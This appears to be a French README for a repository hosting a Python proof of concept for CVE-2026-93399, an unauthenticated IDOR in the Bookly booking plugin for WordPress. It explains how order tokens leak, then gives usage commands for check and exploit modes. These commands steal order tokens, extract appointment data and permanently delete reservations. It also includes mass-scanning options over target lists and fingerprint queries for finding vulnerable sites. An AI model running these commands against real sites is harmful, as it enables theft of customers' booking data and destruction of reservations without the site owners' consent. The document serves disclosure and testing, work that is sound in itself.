murrez/cve-2026-93399PoC Python pour CVE-2026-93399, un IDOR non authentifié dans Bookly <= 28.2 qui divulgue les jetons de commande, expose les rendez-vous et annule les réservations.
PoC Python 3 pour CVE-2026-93399 dans Bookly (bookly-responsive-appointment-booking-tool).
CVE-2026-93399 — Bookly ≤ 28.2 est vulnérable à une Insecure Direct Object Reference (CWE-639) sur l'AJAX de réservation public : bookly_get_form_id stocke un order_id contrôlé par l'attaquant dans la session du formulaire, et bookly_render_complete renvoie le jeton secret bookly_order de cette commande sans vérifier que la session a créé la commande. Des attaquants non authentifiés peuvent énumérer les identifiants de commande, voler des jetons, extraire les données de rendez-vous via bookly_add_to_calendar, et annuler/supprimer des réservations non terminées avec bookly_rollback_order. CVSS 3.1 : 9.1 Critique (C:N/I:H/A:H). Corrigé dans > 28.2.
Page du PoC : https://pocbit.org/pocs/cve-2026-93399
Index du catalogue : https://pocbit.org/pocs/
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
Tests autorisés uniquement. --rollback --confirm-delete supprime définitivement les réservations.